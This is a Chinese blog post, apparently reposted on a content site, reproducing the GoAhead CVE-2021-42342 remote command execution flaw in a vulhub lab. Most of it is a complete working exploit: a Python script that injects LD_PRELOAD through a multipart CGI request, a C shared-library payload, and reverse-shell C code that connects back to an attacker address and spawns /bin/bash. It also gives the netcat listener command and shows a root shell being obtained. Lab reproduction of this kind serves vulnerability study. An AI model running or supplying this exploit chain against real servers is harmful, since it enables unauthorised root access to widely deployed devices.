GoAhead远程命令执行漏洞(CVE-2021-42342)

这篇具有很好参考价值的文章主要介绍了GoAhead远程命令执行漏洞(CVE-2021-42342)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

GoAhead远程命令执行漏洞(CVE-2021-42342)

目录

GoAhead远程命令执行漏洞(CVE-2021-42342)

漏洞描述

漏洞复现

启动环境

复现漏洞


漏洞描述

漏洞主要是由于上传过滤器没有设置不受信任的var位绕过CGI处理程序的前缀检测,渗透人员可以利用这个漏洞在未授权的情况下,构造恶意程序数据执行远程命令执行攻击,进而获得服务器的最高权限。

具体成因则是GoAhead在处理CGI请求时,将用户传入的的参数作为环境变量了。这样,通过参数LD_PRELOAD就可以劫持CGI进程的动态链接库,进而执行任意代码。并且本漏洞实际上是对CVE-2017-17562的一次绕过。

补丁对用户传入参数进行了黑名单过滤,LD_PRELOAD这类参数不再设置为环境变量。但由于这个限制使用错了函数,导致实际上并没有生效

并且补丁还将用户传入的参数名前面增加了前缀,导致无法劫持任意环境变量。但这个限制漏掉了multipart的POST包,所以攻击者通过这个方式仍然可以注入任意环境变量。

在2021年5月份GoAhead默认将CGI相关的配置注释了,所以新版本的GoAhead默认没有开启CGI配置,并且老版本如果没有cgi-bin目录,或者里面没有cgi文件,也不受这个漏洞影响。

漏洞影响版本为:

  • 4.0.0<= GoAhead <= 4.1.2
  • 5.0.0<= GoAhead < 5.1.5

GoAhead在IBM、HP、Oracle、波音、D-link、摩托罗拉等厂商产品中广泛使用,所以该漏洞的影响范围非常广泛。

漏洞复现

启动环境

方法一、docker启环境

利用vulhub搭建漏洞环境,

下载安装vulhub,解压进入CVE-2021-42342目录下:

vulhub-master/goahead/CVE-2021-42342

启动环境:

docker-compose up -d

查看端口和IP(网卡eth0):

docker ps -a或docker-compose ps -a

浏览器访问IP和端口,出现如下页面代表访问成功

GoAhead远程命令执行漏洞(CVE-2021-42342) 

方法二、使用vulfocus

搜索CVE-2021-42342,启动环境,直接访问

GoAhead远程命令执行漏洞(CVE-2021-42342)

复现漏洞

一、执行恶意代码

1、随便创建个目录,新建两个文件:poc.py、poc.c,代码如下:

下载poc.py(直接复制(如下图)或下载文件都可)

vulhub/poc.py at master · vulhub/vulhub · GitHub

GoAhead远程命令执行漏洞(CVE-2021-42342)

poc.py代码如下:

import sys
import socket
import ssl
import random
from urllib.parse import urlparse, ParseResult

PAYLOAD_MAX_LENGTH = 16384 - 200


def exploit(client, parts: ParseResult, payload: bytes):
    path = '/' if not parts.path else parts.path
    boundary = '----%s' % str(random.randint(1000000000000, 9999999999999))
    padding = 'a' * 2000
    content_length = min(len(payload) + 500, PAYLOAD_MAX_LENGTH)
    data = fr'''POST {path} HTTP/1.1
Host: {parts.hostname}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary={boundary}
Content-Length: {content_length}

--{boundary}
Content-Disposition: form-data; name="LD_PRELOAD";

/proc/self/fd/7
--{boundary}
Content-Disposition: form-data; name="data"; filename="1.txt"
Content-Type: text/plain

#payload#{padding}
--{boundary}--
'''.replace('\n', '\r\n')
    data = data.encode().replace(b'#payload#', payload)
    client.send(data)
    resp = client.recv(20480)
    print(resp.decode())


def main():
    target = sys.argv[1]
    payload_filename = sys.argv[2]

    with open(payload_filename, 'rb') as f:
        data = f.read()

    if len(data) > PAYLOAD_MAX_LENGTH:
        raise Exception('payload size must not larger than %d', PAYLOAD_MAX_LENGTH)

    parts = urlparse(target)
    port = parts.port
    if not parts.port:
        if parts.scheme == 'https':
            port = 443
        else:
            port = 80

    context = ssl.create_default_context()
    with socket.create_connection((parts.hostname, port), timeout=8) as client:
        if parts.scheme == 'https':
            with context.wrap_socket(client, server_hostname=parts.hostname) as ssock:
                exploit(ssock, parts, data)

        else:
            exploit(client, parts, data)


if __name__ == '__main__':
    main()

编写打印测试文件的poc代码如下(poc.c)

#include <unistd.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)

{

    write(1, "Hello: World\r\n\r\n", 16);

    write(1, "Hacked\n", 7);

}

2、生成payload.so文件(gcc版本不能太低):

使用gcc进行编译poc1.c中的代码,这样,before_main函数将在程序执行前被调用

gcc -s -shared -fPIC ./poc1.c -o payload.so

GoAhead远程命令执行漏洞(CVE-2021-42342)

3、赋予payload.so、poc.py、poc.c等三个文件所有权限(777)。

4、然后,我们使用这个脚本来发送恶意数据包:(Python必须3.6以上才行)

python3 poc.py http://ip:端口号/cgi-bin/index payload.so

GoAhead远程命令执行漏洞(CVE-2021-42342)

二、反弹shell

1、创建文件shell.c,放入下面的代码

反弹shell的poc代码如下(shell.c):

#include<stdio.h>

#include<stdlib.h>

#include<sys/socket.h>

#include<netinet/in.h>

char *server_ip="172.17.0.1";/*The server which accepts shell*/

uint32_t server_port=7777;/*The port which you listen to*/

static void reverse_shell(void) __attribute__((constructor));

static void reverse_shell(void)

{

  int sock = socket(AF_INET, SOCK_STREAM, 0);

  struct sockaddr_in attacker_addr = {0};

  attacker_addr.sin_family = AF_INET;

  attacker_addr.sin_port = htons(server_port);

  attacker_addr.sin_addr.s_addr = inet_addr(server_ip);

  if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)

    exit(0);

  dup2(sock, 0);

  dup2(sock, 1);

  dup2(sock, 2);

  execve("/bin/bash", 0, 0);

}

2、编译以上代码

gcc -s -shared -fPIC ./shell.c -o shell.so

GoAhead远程命令执行漏洞(CVE-2021-42342)

3、注意要给shell.so和shell.c所有权限(777)

4、在对应的ip端口上开启监听(开启另一个终端)

nc -lvnp 7777

GoAhead远程命令执行漏洞(CVE-2021-42342) 

5、执行payload,此时页面会显示500报错,在执行脚本可能会报错,但没有影响不过我操作时没报错)

python3 poc.py ​​​​​​http://靶机-ip:靶机端口号/cgi-bin/index shell.so

GoAhead远程命令执行漏洞(CVE-2021-42342)

6、查看监听端口的终端,会发现有建里连接:

GoAhead远程命令执行漏洞(CVE-2021-42342)

7、输入whoami命令显示自身用户名称,可以看到是root用户,成功触发RCE

GoAhead远程命令执行漏洞(CVE-2021-42342)

 

注意:

获取shell时,如果攻击机与靶机不是同一台机器,则需要把shell.c中的IP更换成攻击机的IP,端口号可不做更改(与攻击机监听的端口号一致)!

参考:

CVE-2021-42342漏洞复现及docker环境搭建_li2na1的博客-CSDN博客_docker 漏洞环境搭建

https://github.com/vulhub/vulhub/blob/master/goahead/CVE-2021-42342(poc.py、shell.c、payload.c都在这里文章来源地址https://www.toymoban.com/news/detail-483389.html

到了这里,关于GoAhead远程命令执行漏洞(CVE-2021-42342)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

    复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞 目录 前言 漏洞原理 影响范围 环境搭建漏洞复现 使用工具JNDIExploit-1.2-SNAPSHOT.jar 近期Apache Log4j2被暴露了一个严重的远程代码执行安全漏洞(CVE-2021-44228),有严重的安全风险。Apache Log4j2是一款优秀的Java日志框架, 被广泛地应用在

    2024年02月05日
    浏览(34)
  • Log4j2远程命令执行(CVE-2021-44228)

    2.0 = Apache Log4j2= 2.14.1 启动服务后,进入主页面,点击页面中的???链接,跳转到,目标地址。 首先使用dnslog进行测试,是否存在jndi注入的点,再ceyedns平台接收到了反馈的消息,发现此处存在jndi注入。 如果payload没有进行url编码,可能会导致后台无法解析,最好的方式就是

    2024年02月04日
    浏览(42)
  • Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)

    1.1.100 = H2 Console = 2.0.204 此处复现版本1.4.197 启动项目如下 在Driver Class中输入javax.naming.InitialContext 在JDBCURL中输入jndi注入恶意链接 生成链接命令: 因为项目环境是jdk1.7,因此我们用1.7的jndi,其他版本均不生效 通过漏洞公布,可以看到是在org.h2.util.JdbcUtils.getConnection的javax.na

    2024年02月11日
    浏览(26)
  • CVE-2020-14882 weblogic未授权远程命令执行漏洞

    一、漏洞描述 Oracle WebLogic Server 远程代码执行漏洞 (CVE-2020-14882)POC 被公开,未经身份验证)的远程攻击者可通过构造特殊的 HTTP GET 请求,结合 CVE-2020-14883 漏洞进行利用,利用此漏洞可在未经身份验证的情况下直接接管 WebLogic Server Console ,并执行任意代码,利用门槛低,危

    2024年02月16日
    浏览(27)
  • MS08-067 (CVE-2008-4250) 远程命令执行漏洞

    本文为08年出现的漏洞进行复现,仅作为学习参考,切勿非法利用! MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize 函数时触发的,而NetPathCanonicalize 函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPath

    2024年02月08日
    浏览(72)
  • 锐捷 NBR路由器 远程命令执行漏洞(CNVD-2021-09650)

    i ⭐ 锐捷NBR路由器 EWEB网管系统部分接口存在命令注入,导致远程命令执行获取权限 s ✅ 锐捷NBR路由器 EWEB网管系统 d ⭕ FOFA:title=\\\"锐捷网络-EWEB网管系统\\\" ⭕ FOFA:icon_hash=\\\"-692947551\\\" ✅访问首页 ✅执行Payload命令 然后访问页面 /guest_auth/test.txt 就可以看到命令执行的结果

    2024年02月15日
    浏览(24)
  • 03Apache Solr 远程命令执行漏洞(CVE-2019-0193)

    0x01 漏洞介绍 Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。 此次漏洞出现在 Apache Solr 的 DataImportHandler ,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的 DIH配置都可以通过外

    2024年02月09日
    浏览(29)
  • Log4j反序列化命令执行漏洞(CVE-2017-5645)&Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

    Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码 环境:vulhub 工具下载地址: ysoserial 利用工具生成payload: 1.创建文件 进入容器内部,查看文件创建成功 2.查看反弹的shell 有点

    2024年02月11日
    浏览(40)
  • Spring Data Commons远程命令执行漏洞复现(CVE-2018-1273)

    一、漏洞说明 Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,包含Commons、Gemfire、JPA、JDBC、MongoDB等模块。此漏洞产生于Spring Data Commons组件,该组件为提供共享的基础框架,适合各个子项目使用,支持跨数据库持久化。 Spring Data Commons组件中存在远程代码执行

    2024年02月09日
    浏览(35)
  • Apache Struts2 S2-045远程命令执行漏洞(CVE-2017-5638)复现

    Apache Struts2是Apache项目下的一个web 框架,帮助Java开发者利用J2EE来开发Web相关应用。 Apache Struts2的Jakarta Multipart parser插件存在远程代码执行漏洞,攻击者可以在使用该插件上传文件时,修改HTTP请求头中的Content-Type值来触发该漏洞,导致远程执行代码。 Struts 2.3.5 – Struts 2.3.3

    2024年02月15日
    浏览(29)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包